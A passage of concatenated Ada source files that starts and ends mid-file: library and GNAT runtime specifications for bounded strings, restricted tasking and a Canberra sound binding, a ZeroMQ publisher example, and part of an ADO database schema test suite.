Rev_SSO : Boolean) with Inline;
-- Arr is the address of the packed array, N is the zero-based
-- subscript. This element is set to the given value.
function GetU_28
(Arr : System.Address;
N : Natural;
Rev_SSO : Boolean) return Bits_28 with Inline;
-- Arr is the address of the packed array, N is the zero-based
-- subscript. This element is extracted and returned. This version
-- is used when Arr may represent an unaligned address.
procedure SetU_28
(Arr : System.Address;
N : Natural;
E : Bits_28;
Rev_SSO : Boolean) with Inline;
-- Arr is the address of the packed array, N is the zero-based
-- subscript. This element is set to the given value. This version
-- is used when Arr may represent an unaligned address
end System.Pack_28;
|
Gabriel-Degret/adalib | Ada | 16,297 | ads | -- Standard Ada library specification
-- Copyright (c) 2003-2018 Maxim Reznik <[email protected]>
-- Copyright (c) 2004-2016 AXE Consultants
-- Copyright (c) 2004, 2005, 2006 Ada-Europe
-- Copyright (c) 2000 The MITRE Corporation, Inc.
-- Copyright (c) 1992, 1993, 1994, 1995 Intermetrics, Inc.
-- SPDX-License-Identifier: BSD-3-Clause and LicenseRef-AdaReferenceManual
---------------------------------------------------------------------------
with Ada.Strings.Wide_Wide_Maps;
package Ada.Strings.Wide_Wide_Bounded is
pragma Preelaborate (Wide_Wide_Bounded);
generic
Max : Positive; -- Maximum length of a Bounded_Wide_Wide_String
package Generic_Bounded_Length is
Max_Length : constant Positive := Max;
type Bounded_Wide_Wide_String is private;
Null_Bounded_Wide_Wide_String : constant Bounded_Wide_Wide_String;
subtype Length_Range is Natural range 0 .. Max_Length;
function Length (Source : in Bounded_Wide_Wide_String)
return Length_Range;
-- Conversion, Concatenation, and Selection functions
function To_Bounded_Wide_Wide_String (Source : in Wide_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
function To_Wide_Wide_String (Source : in Bounded_Wide_Wide_String)
return Wide_Wide_String;
procedure Set_Bounded_Wide_Wide_String
(Target : out Bounded_Wide_Wide_String;
Source : in Wide_Wide_String;
Drop : in Truncation := Error);
function Append (Left, Right : in Bounded_Wide_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
function Append (Left : in Bounded_Wide_Wide_String;
Right : in Wide_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
function Append (Left : in Wide_Wide_String;
Right : in Bounded_Wide_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
function Append (Left : in Bounded_Wide_Wide_String;
Right : in Wide_Wide_Character;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
function Append (Left : in Wide_Wide_Character;
Right : in Bounded_Wide_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
procedure Append (Source : in out Bounded_Wide_Wide_String;
New_Item : in Bounded_Wide_Wide_String;
Drop : in Truncation := Error);
procedure Append (Source : in out Bounded_Wide_Wide_String;
New_Item : in Wide_Wide_String;
Drop : in Truncation := Error);
procedure Append (Source : in out Bounded_Wide_Wide_String;
New_Item : in Wide_Wide_Character;
Drop : in Truncation := Error);
function "&" (Left, Right : in Bounded_Wide_Wide_String)
return Bounded_Wide_Wide_String;
function "&" (Left : in Bounded_Wide_Wide_String;
Right : in Wide_Wide_String)
return Bounded_Wide_Wide_String;
function "&" (Left : in Wide_Wide_String;
Right : in Bounded_Wide_Wide_String)
return Bounded_Wide_Wide_String;
function "&" (Left : in Bounded_Wide_Wide_String;
Right : in Wide_Wide_Character)
return Bounded_Wide_Wide_String;
function "&" (Left : in Wide_Wide_Character;
Right : in Bounded_Wide_Wide_String)
return Bounded_Wide_Wide_String;
function Element (Source : in Bounded_Wide_Wide_String;
Index : in Positive)
return Wide_Wide_Character;
procedure Replace_Element (Source : in out Bounded_Wide_Wide_String;
Index : in Positive;
By : in Wide_Wide_Character);
function Slice (Source : in Bounded_Wide_Wide_String;
Low : in Positive;
High : in Natural)
return Wide_Wide_String;
function Bounded_Slice
(Source : in Bounded_Wide_Wide_String;
Low : in Positive;
High : in Natural)
return Bounded_Wide_Wide_String;
procedure Bounded_Slice
(Source : in Bounded_Wide_Wide_String;
Target : out Bounded_Wide_Wide_String;
Low : in Positive;
High : in Natural);
function "=" (Left, Right : in Bounded_Wide_Wide_String) return Boolean;
function "=" (Left : in Bounded_Wide_Wide_String;
Right : in Wide_Wide_String)
return Boolean;
function "=" (Left : in Wide_Wide_String;
Right : in Bounded_Wide_Wide_String)
return Boolean;
function "<" (Left, Right : in Bounded_Wide_Wide_String) return Boolean;
function "<" (Left : in Bounded_Wide_Wide_String;
Right : in Wide_Wide_String)
return Boolean;
function "<" (Left : in Wide_Wide_String;
Right : in Bounded_Wide_Wide_String)
return Boolean;
function "<=" (Left, Right : in Bounded_Wide_Wide_String) return Boolean;
function "<=" (Left : in Bounded_Wide_Wide_String;
Right : in Wide_Wide_String)
return Boolean;
function "<=" (Left : in Wide_Wide_String;
Right : in Bounded_Wide_Wide_String)
return Boolean;
function ">" (Left, Right : in Bounded_Wide_Wide_String) return Boolean;
function ">" (Left : in Bounded_Wide_Wide_String;
Right : in Wide_Wide_String)
return Boolean;
function ">" (Left : in Wide_Wide_String;
Right : in Bounded_Wide_Wide_String)
return Boolean;
function ">=" (Left, Right : in Bounded_Wide_Wide_String) return Boolean;
function ">=" (Left : in Bounded_Wide_Wide_String;
Right : in Wide_Wide_String)
return Boolean;
function ">=" (Left : in Wide_Wide_String;
Right : in Bounded_Wide_Wide_String)
return Boolean;
-- Search subprograms
function Index (Source : in Bounded_Wide_Wide_String;
Pattern : in Wide_Wide_String;
From : in Positive;
Going : in Direction := Forward;
Mapping : in Wide_Wide_Maps.Wide_Wide_Character_Mapping
:= Wide_Wide_Maps.Identity)
return Natural;
function Index
(Source : in Bounded_Wide_Wide_String;
Pattern : in Wide_Wide_String;
From : in Positive;
Going : in Direction := Forward;
Mapping : in Wide_Wide_Maps.Wide_Wide_Character_Mapping_Function)
return Natural;
function Index (Source : in Bounded_Wide_Wide_String;
Pattern : in Wide_Wide_String;
Going : in Direction := Forward;
Mapping : in Wide_Wide_Maps.Wide_Wide_Character_Mapping
:= Wide_Wide_Maps.Identity)
return Natural;
function Index
(Source : in Bounded_Wide_Wide_String;
Pattern : in Wide_Wide_String;
Going : in Direction := Forward;
Mapping : in Wide_Wide_Maps.Wide_Wide_Character_Mapping_Function)
return Natural;
function Index (Source : in Bounded_Wide_Wide_String;
Set : in Wide_Wide_Maps.Wide_Wide_Character_Set;
From : in Positive;
Test : in Membership := Inside;
Going : in Direction := Forward)
return Natural;
function Index (Source : in Bounded_Wide_Wide_String;
Set : in Wide_Wide_Maps.Wide_Wide_Character_Set;
Test : in Membership := Inside;
Going : in Direction := Forward)
return Natural;
function Index_Non_Blank (Source : in Bounded_Wide_Wide_String;
From : in Positive;
Going : in Direction := Forward)
return Natural;
function Index_Non_Blank (Source : in Bounded_Wide_Wide_String;
Going : in Direction := Forward)
return Natural;
function Count (Source : in Bounded_Wide_Wide_String;
Pattern : in Wide_Wide_String;
Mapping : in Wide_Wide_Maps.Wide_Wide_Character_Mapping
:= Wide_Wide_Maps.Identity)
return Natural;
function Count
(Source : in Bounded_Wide_Wide_String;
Pattern : in Wide_Wide_String;
Mapping : in Wide_Wide_Maps.Wide_Wide_Character_Mapping_Function)
return Natural;
function Count (Source : in Bounded_Wide_Wide_String;
Set : in Wide_Wide_Maps.Wide_Wide_Character_Set)
return Natural;
procedure Find_Token (Source : in Bounded_Wide_Wide_String;
Set : in Wide_Wide_Maps.Wide_Wide_Character_Set;
Test : in Membership;
First : out Positive;
Last : out Natural);
-- Wide_Wide_String translation subprograms
function Translate
(Source : in Bounded_Wide_Wide_String;
Mapping : in Wide_Wide_Maps.Wide_Wide_Character_Mapping)
return Bounded_Wide_Wide_String;
procedure Translate
(Source : in out Bounded_Wide_Wide_String;
Mapping : in Wide_Wide_Maps.Wide_Wide_Character_Mapping);
function Translate
(Source : in Bounded_Wide_Wide_String;
Mapping : in Wide_Wide_Maps.Wide_Wide_Character_Mapping_Function)
return Bounded_Wide_Wide_String;
procedure Translate
(Source : in out Bounded_Wide_Wide_String;
Mapping : in Wide_Wide_Maps.Wide_Wide_Character_Mapping_Function);
-- Wide_Wide_String transformation subprograms
function Replace_Slice (Source : in Bounded_Wide_Wide_String;
Low : in Positive;
High : in Natural;
By : in Wide_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
procedure Replace_Slice (Source : in out Bounded_Wide_Wide_String;
Low : in Positive;
High : in Natural;
By : in Wide_Wide_String;
Drop : in Truncation := Error);
function Insert (Source : in Bounded_Wide_Wide_String;
Before : in Positive;
New_Item : in Wide_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
procedure Insert (Source : in out Bounded_Wide_Wide_String;
Before : in Positive;
New_Item : in Wide_Wide_String;
Drop : in Truncation := Error);
function Overwrite (Source : in Bounded_Wide_Wide_String;
Position : in Positive;
New_Item : in Wide_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
procedure Overwrite (Source : in out Bounded_Wide_Wide_String;
Position : in Positive;
New_Item : in Wide_Wide_String;
Drop : in Truncation := Error);
function Delete (Source : in Bounded_Wide_Wide_String;
From : in Positive;
Through : in Natural)
return Bounded_Wide_Wide_String;
procedure Delete (Source : in out Bounded_Wide_Wide_String;
From : in Positive;
Through : in Natural);
-- Wide_Wide_String selector subprograms
function Trim (Source : in Bounded_Wide_Wide_String;
Side : in Trim_End)
return Bounded_Wide_Wide_String;
procedure Trim (Source : in out Bounded_Wide_Wide_String;
Side : in Trim_End);
function Trim (Source : in Bounded_Wide_Wide_String;
Left : in Wide_Wide_Maps.Wide_Wide_Character_Set;
Right : in Wide_Wide_Maps.Wide_Wide_Character_Set)
return Bounded_Wide_Wide_String;
procedure Trim (Source : in out Bounded_Wide_Wide_String;
Left : in Wide_Wide_Maps.Wide_Wide_Character_Set;
Right : in Wide_Wide_Maps.Wide_Wide_Character_Set);
function Head (Source : in Bounded_Wide_Wide_String;
Count : in Natural;
Pad : in Wide_Wide_Character := Wide_Wide_Space;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
procedure Head (Source : in out Bounded_Wide_Wide_String;
Count : in Natural;
Pad : in Wide_Wide_Character := Wide_Wide_Space;
Drop : in Truncation := Error);
function Tail (Source : in Bounded_Wide_Wide_String;
Count : in Natural;
Pad : in Wide_Wide_Character := Wide_Wide_Space;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
procedure Tail (Source : in out Bounded_Wide_Wide_String;
Count : in Natural;
Pad : in Wide_Wide_Character := Wide_Wide_Space;
Drop : in Truncation := Error);
-- Wide_Wide_String constructor subprograms
function "*" (Left : in Natural;
Right : in Wide_Wide_Character)
return Bounded_Wide_Wide_String;
function "*" (Left : in Natural;
Right : in Wide_Wide_String)
return Bounded_Wide_Wide_String;
function "*" (Left : in Natural;
Right : in Bounded_Wide_Wide_String)
return Bounded_Wide_Wide_String;
function Replicate (Count : in Natural;
Item : in Wide_Wide_Character;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
function Replicate (Count : in Natural;
Item : in Wide_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
function Replicate (Count : in Natural;
Item : in Bounded_Wide_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_Wide_String;
private
type Bounded_Wide_Wide_String is null record;
Null_Bounded_Wide_Wide_String : constant Bounded_Wide_Wide_String
:= (null record);
end Generic_Bounded_Length;
end Ada.Strings.Wide_Wide_Bounded;
|
tum-ei-rcs/StratoX | Ada | 11,942 | ads | ------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- S Y S T E M . T A S K I N G . R E S T R I C T E D . S T A G E S --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2014, Free Software Foundation, Inc. --
-- --
-- GNARL is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- --
-- --
-- --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNARL was developed by the GNARL team at Florida State University. --
-- Extensive contributions were provided by Ada Core Technologies, Inc. --
-- --
------------------------------------------------------------------------------
-- This is a simplified version of the System.Tasking.Stages package,
-- intended to be used in a restricted run time.
-- This package represents the high level tasking interface used by the
-- compiler to expand Ada 95 tasking constructs into simpler run time calls
-- (aka GNARLI, GNU Ada Run-time Library Interface)
-- Note: the compiler generates direct calls to this interface, via Rtsfind.
-- Any changes to this interface may require corresponding compiler changes
-- in exp_ch9.adb and possibly exp_ch7.adb
-- The restricted GNARLI is also composed of System.Protected_Objects and
-- System.Protected_Objects.Single_Entry
with System.Task_Info;
with System.Parameters;
package System.Tasking.Restricted.Stages
with SPARK_Mode => Off is
pragma Elaborate_Body;
---------------------------------
-- Compiler Interface (GNARLI) --
---------------------------------
-- The compiler will expand in the GNAT tree the following construct:
-- task type T (Discr : Integer);
-- task body T is
-- ...declarations, possibly some controlled...
-- begin
-- ...B...;
-- end T;
-- T1 : T (1);
-- as follows:
-- task type t (discr : integer);
-- tE : aliased boolean := false;
-- tZ : size_type := unspecified_size;
-- type tV (discr : integer) is limited record
-- _task_id : task_id;
-- _atcb : aliased system__tasking__ada_task_control_block (0);
-- end record;
-- procedure tB (_task : access tV);
-- freeze tV [
-- procedure tVIP (_init : in out tV; _master : master_id;
-- _chain : in out activation_chain; _task_name : in string;
-- discr : integer) is
-- begin
-- _init.discr := discr;
-- _init._task_id := null;
-- system__tasking__ada_task_control_blockIP (_init._atcb, 0);
-- _init._task_id := _init._atcb'unchecked_access;
-- create_restricted_task (unspecified_priority, tZ,
-- unspecified_task_info, unspecified_cpu,
-- task_procedure_access!(tB'address), _init'address,
-- tE'unchecked_access, _task_name, _init._task_id);
-- return;
-- end tVIP;
-- _chain : aliased activation_chain;
-- activation_chainIP (_chain);
-- procedure tB (_task : access tV) is
-- discr : integer renames _task.discr;
-- procedure _clean is
-- begin
-- complete_restricted_task;
-- finalize_list (F14b);
-- return;
-- end _clean;
-- begin
-- ...declarations...
-- complete_restricted_activation;
-- ...B...;
-- return;
-- at end
-- _clean;
-- end tB;
-- tE := true;
-- t1 : t (1);
-- t1S : constant String := "t1";
-- tIP (t1, 3, _chain, t1S, 1);
Partition_Elaboration_Policy : Character := 'C';
pragma Export (C, Partition_Elaboration_Policy,
"__gnat_partition_elaboration_policy");
-- Partition elaboration policy. Value can be either 'C' for concurrent,
-- which is the default or 'S' for sequential. This value can be modified
-- by the binder generated code, before calling elaboration code.
procedure Create_Restricted_Task
(Priority : Integer;
Stack_Address : System.Address;
Size : System.Parameters.Size_Type;
Task_Info : System.Task_Info.Task_Info_Type;
CPU : Integer;
State : Task_Procedure_Access;
Discriminants : System.Address;
Elaborated : Access_Boolean;
Chain : in out Activation_Chain;
Task_Image : String;
Created_Task : Task_Id);
-- Compiler interface only. Do not call from within the RTS.
-- This must be called to create a new task, when the partition
-- elaboration policy is not specified (or is concurrent).
--
-- Priority is the task's priority (assumed to be in the
-- System.Any_Priority'Range)
--
-- Stack_Address is the start address of the stack associated to the task,
-- in case it has been preallocated by the compiler; it is equal to
-- Null_Address when the stack needs to be allocated by the underlying
-- operating system.
--
-- Size is the stack size of the task to create
--
-- Task_Info is the task info associated with the created task, or
-- Unspecified_Task_Info if none.
--
-- CPU is the task affinity. We pass it as an Integer to avoid an explicit
-- dependency from System.Multiprocessors when not needed. Static range
-- checks are performed when analyzing the pragma, and dynamic ones are
-- performed before setting the affinity at run time.
--
-- State is the compiler generated task's procedure body
--
-- Discriminants is a pointer to a limited record whose discriminants are
-- those of the task to create. This parameter should be passed as the
-- single argument to State.
--
-- Elaborated is a pointer to a Boolean that must be set to true on exit
-- if the task could be successfully elaborated.
--
-- Chain is a linked list of task that needs to be created. On exit,
-- Created_Task.Activation_Link will be Chain.T_ID, and Chain.T_ID will be
-- Created_Task (the created task will be linked at the front of Chain).
--
-- Task_Image is a string created by the compiler that the run time can
-- store to ease the debugging and the Ada.Task_Identification facility.
--
-- Created_Task is the resulting task.
--
-- This procedure can raise Storage_Error if the task creation fails
procedure Create_Restricted_Task_Sequential
(Priority : Integer;
Stack_Address : System.Address;
Size : System.Parameters.Size_Type;
Task_Info : System.Task_Info.Task_Info_Type;
CPU : Integer;
State : Task_Procedure_Access;
Discriminants : System.Address;
Elaborated : Access_Boolean;
Task_Image : String;
Created_Task : Task_Id);
-- Compiler interface only. Do not call from within the RTS.
-- This must be called to create a new task, when the sequential partition
-- elaboration policy is used.
--
-- The parameters are the same as Create_Restricted_Task except there is
-- no Chain parameter (for the activation chain), as there is only one
-- global activation chain, which is declared in the body of this package.
procedure Activate_Restricted_Tasks
(Chain_Access : Activation_Chain_Access);
-- Compiler interface only. Do not call from within the RTS.
-- This must be called by the creator of a chain of one or more new tasks,
-- to activate them. The chain is a linked list that up to this point is
-- only known to the task that created them, though the individual tasks
-- are already in the All_Tasks_List.
--
-- The compiler builds the chain in LIFO order (as a stack). Another
-- version of this procedure had code to reverse the chain, so as to
-- activate the tasks in the order of declaration. This might be nice, but
-- it is not needed if priority-based scheduling is supported, since all
-- the activated tasks synchronize on the activators lock before they start
-- activating and so they should start activating in priority order.
--
-- When the partition elaboration policy is sequential, this procedure
-- does nothing, tasks will be activated at end of elaboration.
procedure Activate_All_Tasks_Sequential;
pragma Export (C, Activate_All_Tasks_Sequential,
"__gnat_activate_all_tasks");
-- Binder interface only. Do not call from within the RTS. This must be
-- called an the end of the elaboration to activate all tasks, in order
-- to implement the sequential elaboration policy.
procedure Complete_Restricted_Activation;
-- Compiler interface only. Do not call from within the RTS. This should be
-- called from the task body at the end of the elaboration code for its
-- declarative part. Decrement the count of tasks to be activated by the
-- activator and wake it up so it can check to see if all tasks have been
-- activated. Except for the environment task, which should never call this
-- procedure, T.Activator should only be null iff T has completed
-- activation.
procedure Complete_Restricted_Task;
-- Compiler interface only. Do not call from within the RTS. This should be
-- called from an implicit at-end handler associated with the task body,
-- when it completes. From this point, the current task will become not
-- callable. If the current task have not completed activation, this should
-- be done now in order to wake up the activator (the environment task).
function Restricted_Terminated (T : Task_Id) return Boolean;
-- Compiler interface only. Do not call from within the RTS. This is called
-- by the compiler to implement the 'Terminated attribute.
--
-- source code:
-- T1'Terminated
--
-- code expansion:
-- restricted_terminated (t1._task_id)
procedure Finalize_Global_Tasks;
-- This is needed to support the compiler interface. It will only be called
-- by the Environment task in the binder generated file (by adafinal).
-- Instead, it will cause the Environment to block forever, since none of
-- the dependent tasks are expected to terminate
end System.Tasking.Restricted.Stages;
|
mgrojo/canberra-ada | Ada | 4,883 | ads | -- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2020 onox <[email protected]>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
private with System;
private with Ada.Finalization;
package Canberra is
pragma Preelaborate;
type Context is tagged limited private;
function Create (Name, ID, Icon : String := "") return Context;
procedure Set_Property (Object : Context; Property, Value : String);
-----------------------------------------------------------------------------
type Sound is tagged limited private;
function Belongs_To (Object : Sound; Subject : Context'Class) return Boolean;
-- Return True if the sound was created by the given context, False otherwise
--
-- If True, then procedure Cancel can be used to cancel playing the sound.
type Status_Type is (Available, Playing, Finished, Canceled, Failed);
function Status (Object : Sound) return Status_Type;
-- Return the current status of the sound
procedure Await_Finish_Playing (Object : Sound);
-- Wait until the status is no longer Playing
-----------------------------------------------------------------------------
type Role is (Event, Music);
procedure Play (Object : in out Context; Event_ID : String);
-- Play an event sound and wait for it to finish playing
--
-- Raises Not_Found_Error if the event was not found.
procedure Play
(Object : in out Context;
Event_ID : String;
Event_Sound : out Sound'Class;
Kind : Role := Event;
Name : String := "")
with Pre'Class => Event_Sound.Status /= Playing,
Post'Class => Event_Sound.Status in Playing | Finished | Failed
and then Event_Sound.Belongs_To (Object);
-- Play an event or music sound and return the sound so that it can
-- be optionally cancelled
--
-- This subprogram returns immediately and does not wait for the sound
-- to finish playing.
--
-- Raises Not_Found_Error if the event was not found.
procedure Play_File
(Object : in out Context;
File_Name : String;
File_Sound : out Sound'Class;
Kind : Role := Event;
Name : String := "")
with Pre'Class => File_Sound.Status /= Playing,
Post'Class => File_Sound.Status in Playing | Finished | Failed
and then File_Sound.Belongs_To (Object);
-- Play an audio file and return the sound so that it can
-- be optionally cancelled
--
-- This subprogram returns immediately and does not wait for the sound
-- to finish playing.
--
-- Raises Not_Found_Error if the file was not found.
procedure Cancel (Object : Context; Subject : Sound'Class)
with Pre'Class => Subject.Status /= Available and then Subject.Belongs_To (Object);
-- Stop playing the given sound
Not_Found_Error : exception;
private
type Context_Handle is access System.Address
with Storage_Size => 0;
type ID is mod 2 ** 32
with Size => 32;
type Context is limited new Ada.Finalization.Limited_Controlled with record
Handle : Context_Handle := null;
Next_ID : ID := 0;
end record;
overriding procedure Finalize (Object : in out Context);
-----------------------------------------------------------------------------
protected type Sound_Status is
entry Wait_For_Completion;
procedure Set_Status (Value : Status_Type);
function Status return Status_Type;
procedure Increment_Ref;
procedure Decrement_Ref (Is_Zero : out Boolean);
private
Current_Status : Status_Type := Available;
References : Natural := 0;
end Sound_Status;
type Sound_Status_Access is access all Sound_Status;
type Sound is limited new Ada.Finalization.Limited_Controlled with record
Handle : Context_Handle := null;
-- Handle might point to invalid memory if its context has been
-- finalized, but it is only used to verify that the sound belongs
-- to the calling context
Identifier : ID := ID'Last;
Status : Sound_Status_Access := null;
end record
with Type_Invariant => Sound.Status /= null;
overriding procedure Initialize (Object : in out Sound);
overriding procedure Finalize (Object : in out Sound);
end Canberra;
|
sonneveld/adazmq | Ada | 1,718 | adb | -- Synchronized publisher
with Ada.Command_Line;
with Ada.Text_IO;
with GNAT.Formatted_String;
with ZMQ;
procedure SyncPub is
use type GNAT.Formatted_String.Formatted_String;
Subscribers_Expected : constant := 10; -- We wait for 10 subscribers
function Main return Ada.Command_Line.Exit_Status
is
begin
declare
Context : ZMQ.Context_Type := ZMQ.New_Context;
-- Socket to talk to clients
Publisher : constant ZMQ.Socket_Type'Class := Context.New_Socket (ZMQ.ZMQ_PUB);
-- Socket to receive signals
Sync_Service : constant ZMQ.Socket_Type'Class := Context.New_Socket (ZMQ.ZMQ_REP);
begin
Publisher.Set_Sock_Opt (ZMQ.ZMQ_SNDHWM, Integer (1100000));
Publisher.Bind ("tcp://*:5561");
Sync_Service.Bind ("tcp://*:5562");
-- Get synchronization from subscribers
Ada.Text_IO.Put_Line ("Waiting for subscribers");
for Subscribers in 1 .. Subscribers_Expected loop
-- - wait for synchronization request
declare
Unused_Msg : String := Sync_Service.Recv;
begin
null;
end;
-- - send synchronization reply
Sync_Service.Send ("");
end loop;
-- Now broadcast exactly 1M updates followed by END
Ada.Text_IO.Put_Line ("Broadcasting messages");
for Update_Nbr in 1 .. 1000000 loop
Publisher.Send ("Rhubarb");
end loop;
Publisher.Send ("END");
Publisher.Close;
Sync_Service.Close;
Context.Term;
end;
return 0;
end Main;
begin
Ada.Command_Line.Set_Exit_Status (Main);
end SyncPub;
|
AdaCore/gpr | Ada | 131 | ads | package Mylib with Preelaborate is
I : Integer := 2
with Export, Convention => C, External_Name => "mylib__i";
end Mylib;
|
stcarrez/ada-ado | Ada | 21,713 | adb | -----------------------------------------------------------------------
-- ado-schemas-tests -- Test loading of database schema
-- Copyright (C) 2009 - 2023 Stephane Carrez
-- Written by Stephane Carrez ([email protected])
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Directories;
with Ada.Text_IO;
with Util.Test_Caller;
with Util.Strings.Vectors;
with Util.Strings.Transforms;
with ADO.Parameters;
with ADO.Schemas.Databases;
with ADO.Sessions.Sources;
with ADO.Sessions.Entities;
with ADO.Schemas.Entities;
with Regtests;
with Regtests.Audits.Model;
with Regtests.Simple.Model;
package body ADO.Schemas.Tests is
use Util.Tests;
function To_Lower_Case (S : in String) return String
renames Util.Strings.Transforms.To_Lower_Case;
package Caller is new Util.Test_Caller (Test, "ADO.Schemas");
procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite) is
begin
Caller.Add_Test (Suite, "Test ADO.Schemas.Entities.Find_Entity_Type",
Test_Find_Entity_Type'Access);
Caller.Add_Test (Suite, "Test ADO.Schemas.Entities.Find_Entity_Type (error)",
Test_Find_Entity_Type_Error'Access);
Caller.Add_Test (Suite, "Test ADO.Sessions.Load_Schema",
Test_Load_Schema'Access);
Caller.Add_Test (Suite, "Test ADO.Sessions.Has_Table",
Test_Has_Table'Access);
Caller.Add_Test (Suite, "Test ADO.Schemas.Get_Table",
Test_Table_Iterator'Access);
Caller.Add_Test (Suite, "Test ADO.Schemas.Get_Table (Empty schema)",
Test_Empty_Schema'Access);
Caller.Add_Test (Suite, "Test ADO.Schemas.Databases.Create_Database",
Test_Create_Schema'Access);
Caller.Add_Test (Suite, "Test ADO.Schemas.Databases.Sort_Migration",
Test_Sort_Migration'Access);
Caller.Add_Test (Suite, "Test ADO.Schemas.Databases.Scan_Migration",
Test_Scan_Migration'Access);
end Add_Tests;
-- ------------------------------
-- Test reading the entity cache and the Find_Entity_Type operation
-- ------------------------------
procedure Test_Find_Entity_Type (T : in out Test) is
S : ADO.Sessions.Session := Regtests.Get_Database;
C : ADO.Schemas.Entities.Entity_Cache;
begin
ADO.Schemas.Entities.Initialize (Cache => C,
Session => S);
declare
T4 : constant ADO.Entity_Type
:= Entities.Find_Entity_Type (Cache => C,
Table => Regtests.Simple.Model.ALLOCATE_TABLE);
T5 : constant ADO.Entity_Type
:= Entities.Find_Entity_Type (Cache => C,
Table => Regtests.Simple.Model.USER_TABLE);
T1 : constant ADO.Entity_Type
:= Sessions.Entities.Find_Entity_Type (Session => S,
Table => Regtests.Audits.Model.AUDIT_TABLE);
T2 : constant ADO.Entity_Type
:= Sessions.Entities.Find_Entity_Type (Session => S,
Table => Regtests.Audits.Model.EMAIL_TABLE);
T3 : constant ADO.Entity_Type
:= Sessions.Entities.Find_Entity_Type (Session => S,
Name => "audit_property");
begin
T.Assert (T1 > 0, "T1 must be positive");
T.Assert (T2 > 0, "T2 must be positive");
T.Assert (T3 > 0, "T3 must be positive");
T.Assert (T4 > 0, "T4 must be positive");
T.Assert (T5 > 0, "T5 must be positive");
T.Assert (T1 /= T2, "Two distinct tables have different entity types (T1, T2)");
T.Assert (T2 /= T3, "Two distinct tables have different entity types (T2, T3)");
T.Assert (T3 /= T4, "Two distinct tables have different entity types (T3, T4)");
T.Assert (T4 /= T5, "Two distinct tables have different entity types (T4, T5)");
T.Assert (T5 /= T1, "Two distinct tables have different entity types (T5, T1)");
end;
end Test_Find_Entity_Type;
-- ------------------------------
-- Test calling Find_Entity_Type with an invalid table.
-- ------------------------------
procedure Test_Find_Entity_Type_Error (T : in out Test) is
C : ADO.Schemas.Entities.Entity_Cache;
begin
declare
R : ADO.Entity_Type;
pragma Unreferenced (R);
begin
R := Entities.Find_Entity_Type (Cache => C,
Table => Regtests.Simple.Model.USER_TABLE);
T.Assert (False, "Find_Entity_Type did not raise the No_Entity_Type exception");
exception
when ADO.Schemas.Entities.No_Entity_Type =>
null;
end;
declare
P : ADO.Parameters.Parameter
:= ADO.Parameters.Parameter'(T => ADO.Parameters.T_INTEGER, Num => 0,
Len => 0, Value_Len => 0, Position => 0, Name => "");
begin
P := C.Expand ("something");
T.Assert (False, "Expand did not raise the No_Entity_Type exception");
exception
when ADO.Schemas.Entities.No_Entity_Type =>
null;
end;
end Test_Find_Entity_Type_Error;
-- ------------------------------
-- Test the Load_Schema operation and check the result schema.
-- ------------------------------
procedure Test_Load_Schema (T : in out Test) is
S : constant ADO.Sessions.Session := Regtests.Get_Database;
Schema : Schema_Definition;
Table : Table_Definition;
begin
S.Load_Schema (Schema);
Table := ADO.Schemas.Find_Table (Schema, "allocate");
T.Assert (Table /= null, "Table schema for test_allocate not found");
Assert_Equals (T, "allocate", Get_Name (Table));
declare
C : Column_Cursor := Get_Columns (Table);
Nb_Columns : Integer := 0;
begin
while Has_Element (C) loop
Nb_Columns := Nb_Columns + 1;
Next (C);
end loop;
Assert_Equals (T, 3, Nb_Columns, "Invalid number of columns");
end;
declare
C : constant Column_Definition := Find_Column (Table, "ID");
begin
T.Assert (C /= null, "Cannot find column 'id' in table schema");
Assert_Equals (T, "id", To_Lower_Case (Get_Name (C)), "Invalid column name");
T.Assert (Get_Type (C) = T_LONG_INTEGER, "Invalid column type");
T.Assert (not Is_Null (C), "Column is null");
T.Assert (Is_Primary (C), "Column must be a primary key");
end;
declare
C : constant Column_Definition := Find_Column (Table, "NAME");
begin
T.Assert (C /= null, "Cannot find column 'NAME' in table schema");
